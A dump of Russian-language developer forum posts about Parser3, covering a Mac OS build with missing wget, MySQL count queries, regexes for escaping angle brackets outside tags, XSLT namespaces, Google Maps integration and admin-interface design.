P.S. [i]Данный пример будет реализован в административном интерфейсе, загружаться он будет не так часто.[/i]"
"64688","Сделайте так, как проще понять код и проще его организовать.\
\
Учтите, что через месяц появится необходимость введения новых фич и организацию кода придётся вспоминать, а функциональность — расширять.\
\
Нет смысла бороться за возможные десятые-сотые доли секунды, жертвуя логичностью.\
Тем более там, где этот возможный прирост не имеет никакого значения."
"64691","Или не заниматься ерундой и сосредоточится на функционале. У меня в системе при сборке админки используются несколько десятков классов и никаких проблем с производительностью нет."
"64692","Код — ваш, организация — ваша, данные — ваши.\
Никто кроме вас выяснить, как поведёт себя ваш код не в состоянии."
"64693","Т.е. храните в базе оригинал и текущее состояние. А в качестве промежуточных данных только отличия от предыдущей версии. Ключевые слова: diff и patch."
"64694","[quote]У меня в системе при сборке админки используются несколько десятков классов и никаких проблем с производительностью нет.[/quote]\
\
Значит буду делать так :) Я просто подумал, что лучше сразу спросит как поступить в такой ситуации, а не потом, когда уже все будет готово."
"64695","Надоело каждый раз запускать Windows через Parallels, решил настроить все в Mac OS 10.5.\
\
Установил mysql-5.0.45-osx10.4-i686, все работает, кроме запуска через панель настроек. Настроил автоматический запуск при загрузке системы.\
\
Скачал Parser3 для Mac OS 10.4. \
\
При запуске http://localhost/cgi-bin/parser3.cgi пишет \
[quote]Parser/3.2.1sp2 (compiled on powerpc-apple-darwin8.6.0)[/quote]\
При запуске тестового файла _test.html вылетает внутренняя ошибка сервера.\
В логах апача пишет:\
[quote][Sun Feb 03 11:33:03 2008] [error] [client ::1] Premature end of script headers: parser3.cgi\
[Sun Feb 03 11:33:03 2008] [error] [client ::1] Premature end of script headers: parser3.cgi, referer: http://localhost/[/quote]\
\
В чем тут проблема, подскажите.\
\
Попробовал собрать Parser под Leopard, что-то не выходит:(\
Выдает:\
[quote]AndreMacBook:parser3 Andre$ ./buildall-with-xml\
buildall-with-xml\
Script author: Alexander Petrosian <paf@design.ru> (http://paf.design.ru)\
\
Building...\
Downloading libgc [1 lib of 3]...\
./buildall-with-xml: line 23: wget: command not found\
Unpacking gc...\
gunzip: gc6.8.tar.gz: No such file or directory\
./buildall-with-xml: line 28: cd: gc6.8: No such file or directory\
Configuring libgc...\
./buildall-with-xml: line 30: ./configure: No such file or directory\
Building libgc...\
make: *** No targets specified and no makefile found.  Stop.\
make: *** No rule to make target `install'.  Stop.\
Downloading libxml [2 lib of 3]...\
./buildall-with-xml: line 48: wget: command not found\
Unpacking libxml2... (be patient)\
gunzip: libxml2-2.6.30.tar.gz: No such file or directory\
./buildall-with-xml: line 53: cd: libxml2-2.6.30: No such file or directory\
Configuring libxml...\
./buildall-with-xml: line 56: ./configure: No such file or directory\
Building libxml...\
make: *** No targets specified and no makefile found.  Stop.\
make: *** No rule to make target `install'.  Stop.\
Downloading libxslt [3 lib of 3]...\
./buildall-with-xml: line 91: wget: command not found\
Unpacking libxslt... (be patient)\
gunzip: libxslt-1.1.22.tar.gz: No such file or directory\
./buildall-with-xml: line 96: cd: libxslt-1.1.22: No such file or directory\
Configuring libxslt...\
./buildall-with-xml: line 98: ./configure: No such file or directory\
Building libxslt...\
make: *** No targets specified and no makefile found.  Stop.\
make: *** No rule to make target `install'.  Stop.\
Configuring parser3...\
\
configure: WARNING: enabling charset windows-1251\
configure: error: please specify path to libgc: --with-shared-gc OR --with-static-gc\
Building parser3...\
make: Nothing to be done for `install'.\
DONE\
\
\
********************************************************************************************************\
Now you can copy /Users/Andre/parser3install with subdirectories\
  -Parser3 with XML support-\
to your cgi-bin directory\
Read more about installing Parser here:\
  http://www.parser.ru/en/docs/lang/install4apachecgi.htm in English\
  http://www.parser.ru/docs/lang/install4apachecgi.htm in Russian\
********************************************************************************************************[/quote]"
"64696","... через который можно инсталировать wget.\
http://www.macports.org/\
\
p.s. И начните читать сообщения, которые выдает скрипт сборки - там все проблемы описаны."
"64697","пример с антифлудом я уе включил в свой сайт.\
теперь хочу сделать там же и проверкуна введенный код."
"64699","Всем добрый день.\
Существуют некий набор объектов. У каждого объекта может быть несколько фотографий, а может и не быть. Так же, у каждого объекта может быть несколько статей-обзоров, а может и не быть.\
\
Таблицы:\
[b]objects[/b]: object_id, object_name\
[b]images[/b]: image_id, image_url, object_id\
[b]reviews[/b]: review_id, review_text, object_id\
\
Задача: выбрать по заданному ID объекта количество фотографий и количество обзоров.\
\
Ниже приведу пример, как пробывал решать. Если, допустим, у объекта с ID=1 M фотографий (не 0) и N обзоров (не 0), то в результате выходит, что и фотографий и обзоров M*N. Как быть? Не могу сообразить...\
\
select\
	objects.*,\
	count(images.image_id) as images_count,\
	count(reviews.review_id) as reviews_count\
from\
	objects\
	left join images\
		on images.object_id=objects.object_id\
	left join reviews\
		on reviews.object_id=objects.object_id\
where\
	objects.object_id=1\
group by\
	objects.object_id\
\
Спасибо!"
"64701","А что будет работать быстрее?\
\
1. Посылка query от клиента mysql серверу, обработка данных сервером, получение ответа.\
2. Посылка query от клиента mysql серверу, более упрощенная (по сравнению с п. 1) обработка данных сервером, получение ответа. И так дважды."
"64703","Неужели невозможно эту задачу решить одним запросом с помощью объединений? Давайте поменяем условие задачи: ответ необходимо получить в результате выполнения одного (!) запроса. Неужто средства MySQL не позволяют подобного? :)"
"64704","Для начала — здесь не форум поддержки MySQL.\
Если вам хочется поиграть, выставляя всё новые условия задачи, то вы выбрали не то место.\
\
Касаемо запросов, думаю будет проще сделать три примитивных запроса нежели один «сложный»."
"64706","Не обижайте, не надо агрессии! Я не мастер головоломок. Я задал вопрос, ожидая получить ответ. Зачем отвечаете если не знаете как сложным запросом решить задачу?\
\
А вам бы посоветовал изучить смысл слова \"[url=\"http://slovari.yandex.ru/dict/bse/article/00090/29600.htm?text=%D1%88%D0%B0%D1%80%D0%B0%D0%B4%D0%B0\"]шарада[/url]\"! ;)"
"64708","... сделать так в рамках реляционной модели нельзя. Возможно, что знатоки меня поправят."
"64709","Любезный, вы в буковках агрессию увидели?..\
Вам нехорошо?..\
\
Где именно я написал, что я не знаю как решить задачу?\
\
Я вам ответил, что: во-первых — это не форум поддержки MySQL, во-вторых — вы задаёте некорректный вопрос.\
Никто вам не скажет что будет быстрее.\
На этот вопрос можете ответить только вы.\
\
Вам предложили простой вариант.\
\
Чего вы хотите, гаданий на кофейной гуще?..\
\
Найдуться желающие размышлять над вашим запросом — напишут.\
\
PS Если вы не понимаете, что я пишу те или иные слова намеренно — не надо демонстрировать собственную глупость, давая ссылки."
"64710","Скачал macports, второй день с ним бьюсь.\
\
Как я понял он сам загружает необходимые библиотеки из интернета.\
Для wget набираю \
[code]sudo /opt/local/bin/port install wget[/code]\
и он начинает все загружать. Но у меня интернет по dial-up, а некоторые пакеты довольно громоздкие, иногда загрузка просто прерывается и все.\
\
Я хоть на правильном пути?"
"64712","Сайт написан на Parser3 и лежит на удалённом хостинге. Мне необходимо обновить текст на некоторых страницах сайта. В каталоге documents я изменяю текст на нужных странцах, копирую их на сервер (заменяя прежние страницы с устаревшим текстом), но обновления сайта не происходит. Подскажите, пожалуйста, в чём может быть причина?"
"64713","Я пытался компилировать со всеми установленными пакетами - там ошибки, ссылающиеся на .h и .c файлы при самой простой сборке парсера без xml. Если не знаете программирования на C под маком, лучше даже не тратьте время."
"64714","Спасибо за ответ! Было бы, действительно, интересно знать мнение специалистов!"
"64715","Вы пытаетесь придумать явное извращение вместо того, чтобы сделать простые вещи простыми же методами."
"64716","Кто-нибудь решал задачу замены знаков < и > на соответствующие lt; и gt; там, где они не являются частью тэгов?\
Поделитесь решение плз?"
"64717","Вопрос снят. Оказывается, обновлять текст нужно было в совершенно другом документе... :)"
"64718","Ну а как же тогда быть? Мне парсер очень нужен, а к Тигру возвращаться совсем неохота.\
Неужели, если будут ошибки связанные с самим Си, никто не сможет подсказать?"
"64719","[code]$str[jshjhd <sjhadjsh yh=\"s\"> hshj<sjsjd </ksdkj> <br/]\
^str.match[&lt^;(.+)&gt^;][g]{<$match.1>}[/code]\
\
продуцирует \
[code]jshjhd <sjhadjsh yh=\"s\"&gt; hshj&lt;sjsjd &lt;/ksdkj> &lt;br/[/code]\
\
то есть в условии учитывается последний &gt; а не первый. Как бы это изменить?"
"64721","не знаю что будет дальше, но данную проблему можно запросто обойти скачав нужные архивы ручками и положив их в директорию src. wget собственно нужен только для этого.\
\
в ./buildall-* ничего сложного нет, откройте и почитайте что там делается."
"64722","Вы сначала спросили как заменить <> на lt gt\
а потом решаете обратную задачу. Или я вас не правильно понял?\
\
\
Чтобы заменялся не последний элемент а первый  существует модификатор \"жадности\" (.*?) - почитайте про него в любой доку про regexp.\
\
но lt gt можно поменять на < > гораздо проще (в том числе replace)"
"64723","Т.к. вроде кроме wget особо никаких других пакетов не понадобиться, и учитывая dial-up связь я бы просто вручную скачал архивы:\
http://www.hpl.hp.com/personal/Hans_Boehm/gc/gc_source/gc6.8.tar.gz\
ftp://xmlsoft.org/libxml2/libxml2-2.6.30.tar.gz\
ftp://xmlsoft.org/libxslt/libxslt-1.1.22.tar.gz\
и положил их в $HOME/parser3project/src.\
\
Затем также запустил ./buildall-with-xml и посмотрел на результат."
"64724","определение того что не является тегом не тривиальная задача. Вопрос обстоит в том на сколько идеально нужно отлавливать, и на сколько качественно написан исходный текст.\
Т.е. a<a*b>b может вполне сойти за тег... \
\
Я в типографе отлавливаю теги так <[^>]+?> соответственно все что не подпадает под эту конструкцию - ваш случай."
"64725","1. Выкусить все тэги.\
2. Сделать replace ненужного на нужное.\
3. Вернуть тэги (replace)."
"64726","Все дело в том, что я не знаю как выбрать то, что не попадает под эту конструкцию"
"64728","Я знаю как проматчить все тэги, но я не знаю как проматчить все больше-меньше, которые не относятся к тэгам. Соответственно, я попробовал сначала матчить вообще все, а потом матчить назад тэги. Поэтому и кажется, что задача решение обратно задаче.\
\
Модификатор помог, спасибо.\
\
Однако, отработать правильно все равно не получилось, потому что обратно тэги распознаются неверно. Вот такой код:\
[code]$str[jshjhd <sjhadjsh yh=\"s\"> hshj<sjsjd </ksdkj> <br/]\
$str[^str.match[<][g]{&lt^;}]\
$str[^str.match[>][g]{&gt^;}]\
^str.match[&lt^;(.*?)&gt^;][g]{|$match.1|}[/code]\
\
[quote]но lt gt можно поменять на < > гораздо проще (в том числе replace)[/quote]\
Мне нужно, чтобы менялись только те, что не относятся к тэгам."
"64730","... в http://www.parser.ru/examples/pcolorer/\
\
Только там выкусываются коментарии. Думаю, что заменить регэкспы не составит труда."
"64731","Я держу виртуальную машину. Она настроена так, что виндовый апач хавает виндовый парсер, а document root и Mysql находятся на маке. Это бы сильно раздражало, если бы мне по работе не была постоянно нужна параллельно включенная винда.\
\
Если дойдете до этапа безуспешной компиляции, киньне ошибки сюда, может гуру что подскажут. Собрать парсер с mysql библиотекой и xml под леопард - крутая вещь!"
"64732","Я бы пошел немного другим путем, без использования таблиц, потому как в случае с тэгами - их может быть довольно много и табличка будет большая. При этом у тэгов возможна высокая повторяемость.\
\
Вообще алгоритм здесь не сложный\
Выбираем какой то ограничитель идентификаторов, пусть например /%...%/\
\
[code]$str[<-- здесь наш HTML -->]\
$tReplaces[^table::create{from to\
<  &lt^;\
>  &gt^;}]\
$hTags[^hash::create[]] ^rem{сюда складываем наши тэги и их MD5. \
Хэш нужен для того, чтобы два <p>, например сохранялись в одном экземпляре}\
$str[^str.match[(<\\/?[^^>]+>)][g]{\
       $md5[^math:md5[$match.1]]\
       $hTags.[$md5][$match.1]\
       /%$md5%/\
}]\
^rem{теперь у нас в $str нет тэгов, махаем оставшиеся < >}\
$str[^str.replace[$tReplaces]]\
\
^rem{вертаем тэги назад}\
^hTags.foreach[md5;tag]{\
   $str[^str.match[/%$md5%/][g]{$tag}]\
}\
[/code]\
в качестве оптимизации можно из хэша тэгов перед восстановлением сделать таблицу замен, а потом сделать с помощью нее replace , а не делать кучу матчей. Но это надо проверять, не уверен что это быстрее. \
\
Писал по памяти, мог и ошибиться"
"64735","Буду эксперементировать:) Мне винда не нужна, а запущенная на виртуальной машине, она только попусту грузит компьютер. Мне просто так неудобно. В тигре у меня все отлично работало, и БД, и Апач, и Парсер. Хочется вернуть прежнее удобство и в Леопард:) Назад менять систему совсем не хочу, слишком много в ней того, чем я пользуюсь и чего нет в тигре:)"
"64737","Мне кажется, что при возникновении очередной задачи, имеет смысл сначала поискать решения с помощью встроенных средств. \
\
Хотя, до этого хотелось бы узнать, для чего вообще это преобразование нужно?\
\
------\
В данном случае мне кажется, что оператор ^taint[] - как раз то, что надо. Просто для этого нужно будет сделать уловку:\
[code]\
	$str[jshjhd <sjhadjsh yh=\"s\"> hshj<sjsjd </ksdkj> <br/]\
		\
	$rep[^table::create{f	t\
<	^taint[html][<]\
>	^taint[html][>]}]\
	\
#	Делаем все скобки \"грязными\"	\
	$str[^str.replace[$rep]]\
\
#	\"Чистим\" теги	\
	$str[^str.match[<(\\/?[^^>]+)>][g]{<$match.1>}]\
\
#	Делаем экспорт, чтобы произошла замена.\
	^str.save[tags.txt]\
\
#	Теперь tags.txt содержит как раз то, что нам надо.\
\
	$f[^file::load[text;tags.txt]]\
	<p>^untaint{$f.text}</p>\
[/code]\
\
Хочу заметить, что условие отбора тегов возможно стоит подкорректировать, т.к. даже в примере теги будут не совсем корректны.\
\
Интересно мнение о подобных решениях."
"64738","Пардон, я прально понял один из вариантов?\
\
[code]<input type=\"button\" value=\">_<\">[/code]\
\
eq\
\
[code]<input type=\"button\" value=\"&gt;_&lt;\">[/code]\
\
Ну всмысле, хочешь сделать так."
"64740","В админе когда вводишь текст, он же XML-ный. Я хотел по возможности фиксить введенные юзером символы, которые могут рушить этот XML. \
\
Вообще я подумал тут - с тэгами решений предложили много, но все упирается в правила как их фильтровать. Результат неправильного преобразования будет хуже, чем отсутствие преобразования вообще. Потому как ввести < у меня можно в режиме кода, что предполагает навыки оператора по устранению таких проблем. Все остальные юзеры будут пользоваться визуальным редактором, который сам преобразует все спецсимволы."
"64741","Для приема кредиток в магазине потребовалось...\
можно ли при помощи:\
[code]\
^math:crypt[password;salt][/code]\
что писать в salt?"
"64743","[quot]\
она только попусту грузит компьютер\
[/quot]\
Согласен... Самого раздражает запускать Windows из под виртуализатора VirtualBox под Линуксом."
"64744","и в поиске по доке тоже...\
\
[quote]поиск в документации по языку\
Результаты поиска «sha1»\
Не найдено результатов, удовлетворяющих параметрам запроса.[/quote]"
"64745","Скачал библиотеки вручную, скопировал их в папку ~/parser3project/src/\
Запустил ./buildall-with-xml\
В итоге появился огромный лог, но по ходу сборки там были ошибки. Парсер не собрался.\
Приводить его здесь?\
\
Когда попробовал выполнить ту же комнанду повторно (когда библиотеки уже были распакованы), скрипт выдал:\
[quote]Building...\
Configuring parser3...\
configure: WARNING: enabling charset windows-1251\
configure: error: please specify path to libgc: --with-shared-gc OR --with-static-gc\
Building parser3...\
make: Nothing to be done for `install'.\
DONE[/quote]"
"64747","Я знаю, что он означает.\
\
но в этом шаблоне он лишний, поскольку шаблон отработает в любом случае одинаково.\
\
т.е. для строки например \
[quote]<a href='#' style=''>ссылка</a>[/quote]\
шаблоны <[^>]+?> и <[^>]+> найдут одно и тоже\
\
[quote]1. <a href='#' style=''>\
2. </a>\
[/quote]\
но в случае с модификатором жадности машина рег. выражений будет вынуждена делать откат на каждом совпадении пока не убедится что она не пропустила ни одного > в найденой строке (а мы ей указали, что такого не должно быть). Т.е. чем длиннее совпадающая строка - тем на болшее количество вариантов нужно откатится. В принципе, возможно оптимизатор определит что в данном случае в этом нет смысла, но тогда лишняя запарка для оптимизатора.\
\
А вообще '?' - зло. Если есть возможность - лучше его не использовать."
"64748","поиск в chm-ке находит функцию, правда в ней я не добавил её в индекс (в оглавлении она есть), исправлюсь при следующей сборке доки."
"64749","загружайте код введенный пользователем методом loadxml, предварительно добавив рут-элемент (который потом будет убран) или проверяйте на ява-скрипте (методом Токмакова, только для начала там нужно найти ошибку в коде -- http://www.artlebedev.ru/tools/technogrette/js/validate_xml_value/)"
"64750","если человек заполняет раздел xml версткой, то ему просто надо дать инструкции замены >, <, amp на сущности -- просто до безобразия, а пропускать в базу только валидный код\
\
и все :-)"
"64752","Возможно, у кого-то есть уже..?"
"64753","В таком случае Вам здесь мало кто будет помогать.\
\
[quot]\
please specify path to libgc\
[/quot]\
Это значит, что по пути, который указан ./buildall-with-xml Парсер не смог найти gc, а должен.\
Я предпологаю, что gc не сконфигурировался нормально или не собрался, поэтому его нет по данному пути."
"64754","Я знаю один удобный плагин Google Maps для jQuery - [url=http://code.google.com/p/jmaps/]jMaps[/url]"
"64755","Спасибо за ссылку, попробую разобраться...\
\
А класс должен создавать код Google Maps с заданными свойствами. Хочется, чтобы можно было разместить на карте необходимые точки, создав их из парсерных объектов. Например, есть hash координат точек... Или трек какой-то...\
\
Только начал разбираться с Google Maps API. Пока я даже еще толком не знаю, что мне нужно, поэтому хотел посмотреть, как делали другие."
"64756","но в большинстве случаев я и есть тот человек, и меня парит при копипейсте выискивать & и иже с ними. Хочу, чтобы железка за меня думала"
"64757","Я то его прочитал, но если бы я знал как это исправить:) Я просто впервые собираю что-либо сам. Я же не специально выкладываю ошибки, чтобы мне кто-то их исправил. Мне просто нужна была подсказка:)"
"64758","чем вам не подходит этот вариант?\
http://www.parser.ru/forum/?id=64732"
"64759","класс будет тривиальный.\
\
Связать координаты с объектом, добавить/удалить/изменить точку, добавить/удалить/изменить описание точки, выборки точек по области координат и вывод их xml.\
\
Тут сильно больше клиентского JS-программирования.\
\
Сам буду делать связку с гугловыми картами, но, ориентировочно, через месяц."
"64761","Тем, что вот это\
<\\/?[^^>]+>\
\
посчитает вот здесь <p> 1 < 2 </p>\
\
это [code]2 </p[/code] за тэг\
\
И получается слишком много разных вариантов, которые надо предусмотреть."
"64762","ну поправьте шаблон немножко\
\
[code]<\\/?[^^>[b]<[/b]]+>[/code]\
\
хотя универсального шаблона на все случаи жизни, здесь наверно не добится никогда.\
\
например если внутрь тэга прокрадется < или > - то и этот шаблон будет неправильно работать"
"64764","Я об этом и толкую. Данная ветка привела меня к мысли, что лично в моем случае невыгодно оптимизировать шаблон до тех пор, пока не он не покроет наибольшее число вариантов. Я надеюсь только, что она поможет кому-то кто будет решать такую задачу в будущем."
"64765","как можно реализовать выборочный вывод строк из таблицы"
"64783","^таблица.select(критерий_отбора) \
\
Метод последовательно перебирает все строки таблицы, применяя к ним выражение критерий_отбора, те строки, которые подпали под заданный критерий (логическое выражение было истинно), помещаются в результат, которым является таблица с такой же структурой, что и входная. \
\
Пример \
$men[^table::create{name   age \
Serge   26 \
Alex   20 \
Mishka   29 \
}] \
\
$thoseAbove20[^men.select($men.age>20)] \
\
В $thoseAbove20 попадут строки с Serge и Mishka. \
\
:)"
"64784","Установил себе denwer, скачав его с вашего сайта, установил. После чего решил удалить и поставить другую версию дистрибутива \
\
[code]Base_PHP5_2006-10-04_a1.3.33_p5.1.6_m4.1.16_pma2.6.1.exe[/code]\
\
Такая проблема, почему, при наборе в адресной строке адреса http://localhost происходит переадресация на http://localhost/denwer/? Раньше то всё было норм. Или для удаления \
\
[code]Denwer3_Base_Parser_2008-01-13_a2.2.4_p5.2.4_m5.0.45_pma2.6.1_p321.exe[/code]\
\
Просто удалить весь каталог на диске не достаточно?"
"64786","XML файл:\
[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<content>\
	<name>Some name</name>\
	<head xmlns=\"http://www.w3.org/1999/xhtml\">\
		<link rel=\"stylesheet\" type=\"text/css\" href=\"/templates/styles/common.css\" />\
		<script type=\"text/javascript\" src=\"/templates/js/Test.js\" />\
	</head>\
</content>\
[/code]\
\
XSL файл:\
[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\">\
\
<xsl:template match=\"/\">\
	<html>\
		<head>\
			<title><xsl:value-of select=\"//name\" /></title>\
			<xsl:copy-of select=\"//head/node()\" />\
		</head>\
		<body>\
		</body>\
	</html>\
</xsl:template>\
\
</xsl:stylesheet>\
[/code]\
\
P3 файл:\
[code]\
$sourceDoc[^xdoc::load[file.xml]]\
\
$transformedDoc[^sourceDoc.transform[file.xsl]]\
\
$result[^transformedDoc.string[\
    $.method[html]\
]]\
[/code]\
\
Результат:\
[code]\
<html>\
	<head>\
		<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\
		<title>Some name</title>\
	</head>\
	<body></body>\
</html>\
[/code]\
[b]Почему не выводится link и script тэги в содержании head?[/b]\
Может мне нужно заного перечитать спецификацию?\
\
\
Но если в XML файле в head убрать следующее:\
[code]\
xmlns=\"http://www.w3.org/1999/xhtml\"\
[/code]\
то все выведится нормально."
"64787","у элемента head вы указали \"другой\" default namespace. это означает что он и все его дети (для которых не сказано иное) находятся в нём.\
\
xpath выражение в xsl шаблоне ничего не знает об этом namespace (вы ему не сообщили), поэтому он \"не видит\" элементов в нём.\
\
чтобы он их увидел, надо явно ему об этом сказать, например так:\
[code]\
<xsl:copy-of xmlns:z=\"http://www.w3.org/1999/xhtml\" select=\"//z:head/node()\" />\
[/code]\
\
namespace prefix может быть любой (какой вам удобнее), т.к. namespace ищутся по namespace URI."
"64789","промежуточный тестовый результат - тут: http://lj.bougakov.com/progulki/locate/\
\
можете позаимствовать код.\
\
Отличный ресурс по Google Maps API с кучей примеров - на http://econym.googlepages.com/index.htm"
"64790","Я до этого не так понимал namespace.\
\
Благодарю!"
"64792","undefined method count\
//progulki/index.html, строка номер 180"
"64793","У самого пока руки до этого не доходят. Планирую еще для Picassa и ряда других сервисов, но пока все на уровне заготовок.\
\
Главное, не одну мне это нужно. *-)"
"64794","я пока js тестирую, никакого бэкэнда (обработки submit) там нет. Мне главное, чтобы работал функционал:\
\
- поиск по карте\
- втыкание точки\
- определение координат по клику\
- передача этих координат по submit формы через параметры uri.\
\
всё это я реализовал путём подсматривания на правильных сайтах.\
\
Заодно сделал отгрузку монструозной javascript-либы prototype.js с Gzip-сжатием."
"64795","Сделать что-то универсальное, чтобы оно пригодилось другим, врятли получится.\
В силу специфики подхода к программированию.\
Масса обвзяки всякой.\
\
Но общие черты обозначить можно."
"64796","А [url=http://code.google.com/apis/maps/documentation/examples/index.html]гугловые примеры[/url] не пригодились совсем?\
Ключик к картам какой-то демовый?"
"64797","Понятно, что когда работа \"горит\" делать из модуля API времени нет. Однако, общая логика, все-же, будет обозначена.\
\
Я, пока, и работаю медленно, т.к. стараюсь все делать с \"запасом\" на будущее, т.е. делать все универсальным (стараюсь *-)).\
\
Поэтому, если будет какое-то \"ядро\" доработать до модуля общими усилиями его можно будет. Я думаю, здесь это будет интересно многим. Аудитория у Parser, конечно, не такая как у PHP но и своих энтузиастов хватает."
"64798","[url=\"http://code.google.com/apis/maps/signup.html\"]выдаётся Гуглом[/url] только в привязке к домену, на котором он будет использоваться. Чужим ключом воспользоваться не удастся.\
\
На сайте с примерами я не нашёл ни одного примера, где бы одновременно демонстрировался бы и геокодинг и простановка меток. Я так понял, что один использует Maps API, другой - AJAX Search API. Пришлось подсматривать решения у других."
"64799","Дело не в том, что пишется быстро и некогда задокументировать.\
А в том, что оно пишется под некий «фреймворк», через это приходит наследование от абстрактных классов, идеология объектов своя, использование имеющийся частей системы, структура базы и прочее.\
В итоге, чтобы получилось что-то универсальное нужно слепить десяток классов в один, перекроив почти всё, получив неподдерживаемый кусок кода.\
\
Потому, действовать будем по фактическому результату.\
Будет несложно обточить — не жалко."
"64800","[quote]выдаётся Гуглом[/quote]\
\
Хм. Я там был, всё просматривал, но считал, что процедура сложней, и понадобятся переписки с гуглой.\
\
\
Вот по взаимодействию их компонентов информация очень полезная.\
Т.к. описанный тобой функционал — 90% любого картоориентированного проекта.\
\
Я сам JS'ом владею не так хорошо, как хотельсь бы, потому вникаю тяжеловато.\
А вот с backend'ом мог бы посодействовать, если вдруг."
"64802","Есть строка: 1|2|=!22!={222}, 3|4|=!44!={444}, 5\
Получить соответствия 2 - 22 - 222 и 4 - 44 - 444 получается.\
\
Как в одним матчем произвести замену соответственно: все в || на 1, все в !! на 2, а все в {} на 3?"
"64803","Сейчас делаю сайт который использует базы данных. Выкладываю сайт на хостинге Majordomo. Вот конфигурация их серверов: MySQL 4.1.22, FreeBSD 6.2, архитектура AMD64. Parser прекрасно работает в одиночку, но ни в какую не хочет подключаться к базе данных. Выкидывает ошибку \"can't open the module libparser3mysql.so\". Расположение файлов проверил, все пути прописаны верно. Пробовал другие версии файла libparser3mysql.so. Ни с одним из них Parser не заработал. Прочитал на этом форуме что можно скачать библиотеку libmysqlclient.so. Попробовал и это, все равно не заработало. \
И теперь возник вопрос - это несовместимость parser`а с платформой сервера или что-то другое? И если первое, то реально ли заставить parser работать с базой?"
"64804","сколько раз перечитывал вашу статью, так и не понял - где находится код, отвечающий за редактирование статических и динамических данных? не в обработчиках же? редактирование происходит через веб-интерфейс?"
"64805","Пока мой моск не способен понять для чего вам это нужно, а думать просто так над искусственным примером - лень.\
\
\
[кроме match есть еще replace]"
"64806","Есть текст в определенном формате, где четко выделены блоки (в примере это текст в символах ||,!! и {}).\
Эти блоки соответственно надо заменить на определенные значения, например, || на 1, !! на 2, {} на 3. Вместо 1, 2 и 3 могут быть теги или что-то еще.\
Replace не поможет, т.к. содержимое блоков ищется матчем.\
\
Как одним матчем произвести замену?"
"64807","сделать админку средствами самого engine безусловно можно, но такая задача никогда не ставилась."
"64808","т.е. в NET-приложении сосредоточены базовые функции управления сайтом, общие для всех проектов, а на Парсере пишется редактирование страниц, заточенное под каждый проект? редактирование происходит через веб-интерфейс или NET-приложение?"
"64810","Engine - часть Imp2, а там админка - обычное приложение, разве нет?"
"64813","но структура БД же одинаковая и принцип хранения контента?\
просто никак не могу допетрить, как сделать редактирование контента. когда он статический (чистый xml) все ясно, а когда динамический не знаю, что делать. \
как вы делаете со статическим и динамическим контентом в Imp2?"
"64816","в Imp2 изначально есть разделение прав доступа, версионность и wysiwyg приложение для редактирование текстов. но нет веб интерфейса."
"64818","WYSIWYG-редактор подходит для статитческого контента, а как им редактировать новости, они же не лежат в виде XML? или супер-пупер приложение какое-то? :)"
"64819","Как и где они редактируются или попадают в базу тоже дело обработчика.\
Притом, не обязательно того же."
"64821","можно подробнее?\
т.е. WYSIWYG-редактор просто отправляет запрос веб-приложению с определенными параметрами, а обработчик в приложении уже сам знает, что делать? разумно :)"
"64822","Обработчик — код, файлик с кодом.\
Во время обработки страницы он процессится и выполняется.\
Т.е. в нём можно делать всё, что угодно.\
Engine просто предоставляет удобные механизмы привязки таких файликов к странице, обеспечивает им открытый коннект к БД, принимает результат работы на трансформацию и т.п.\
\
Если нужно обработчик тех же новостей выдаёт имеющему право редактирования юзеру форму для управления новостями.\
И данные от него примет, при необходимости, и положит в БД.\
\
А может просто выводить новости из БД по критериям.\
А попадать они туда могут, например, из админки или из RSS, который считает, разберёт и вставит в БД обработчик другого блока на другом конце сайта.\
\
Жёстких схем и обвязок нет, Engine просто обеспечивает среду для отработки кода обработчиков.\
\
Если где соврал, Миша поправит."
"64823","все, понял :) \
спасибо :)\
мне кажется, тогд удобно использовать протокол SOAP для обмена сообщениями на сайте. кто как считает?"
"64824","[quote]мне кажется, тогд удобно использовать протокол SOAP для обмена сообщениями на сайте.[/quote]\
\
Обмена между кем?.."
"64826","Не понял ответа.\
\
«Веб-приложение» — это что?"
"64827","В случае Парсера это index.html, в случае ASP.NET 2.0, на котором я сижу, это default.aspx. т.е. то, где происходит выборка данных."
"64828","Я правильно понимаю, то речь об администраторском приложении-клиенте, которое стоит чёрт знает где и пытается рулить сайтом?"
"64830","Если речь о Imp, то там всё просто, никаких удалённых админ-клиентов.\
Если про Imp2 — тут, наверно, только ПАФ может рассказать как оно там.\
\
Сам — никогда не использовал.\
Да и, скептически отношусь к подобного рода вещам.\
\
В браузере сложней организовать интерфейс, но он есть практически везде и пользоваться им одинаково хоть с телефона, хоть с компа.\
И городить огород с клиентом есть смысл только когда это оправдано."
"64831","Это внешний формат? Если это вы сами придумали - советую сменить технологию.\
\
одним матчем - это принципиально?\
\
если одним то _примерно_ так:\
\
[code]$str[<здесь текст>]\
$str[^str.match[\
   ([!|\\^{])\
   ([^^!|\\^}]+)\
   ([!|\\^}])\
][gx]{\
   ^switch[$match.1]{\
     ^case[|]{<--Ваше 1--}\
     ^case[!]{<--Ваше 2--}\
     ^case[^{]{<--Ваше 3--}\
  }\
}]\
[/code]\
Не уверен, что это сразу заработает, не проверял. К тому же сразу видны некоторые ограничения - внутри блока недопустимы какие либо символы-ограничители блоков, их нужно экранировать (это обычная проблема). Если они возможны - читайте про опережающие проверки в регулярных выражениях."
"64832","Спасибо, работает."
"64833","у нас обработчик ведает только _выводом_ новостей, в БД они попадают через административный интерфейс (imp1 -- конструктор, имеющий кучку разных административных интерфейсов для разных задач).\
\
понятное дело, что если сам административный интерфейс делать на imp1, то и за попадание новостей в БД также будет отвечать обработчик, но наверняка другой...\
\
\
в общем случае то, как данные попадают в общее хранилище -- отдельный вопрос: можно написать клиентское приложение, которое будет общаться со специальной системой администрирования посредством soap запросов, или которое будет лазить к файлам по встроенному ftp/sftp/webdav/..., а с БД общаться напрямую. можно сделать одновременно несколько вариантов. вопрос: насколько это востребовано и кто будет оплачивать создание и отладку этих механизмов?"
"64834","[quot]\
за попадание новостей в БД также будет отвечать обработчик, [b]но наверняка другой...[/b]\
[/quot]\
Из-за того, что на страницу с новостями не нужны методы добавления/редактирования новости... Т.е. чтобы съэкономить размер подгружаемых файлов для меньшей нагрузки на сервер?"
"64836","Админка - тот же сайт, только выполняющий другие функции."
"64839","Пользуюсь jQuery.\
\
Есть код:\
function getratingsite(rating, cn){\
   var res = ^$('#rating'+cn)^;\
   res.append('<br>Обновление...')^;\
   res.load(rating)^;\
}\
\
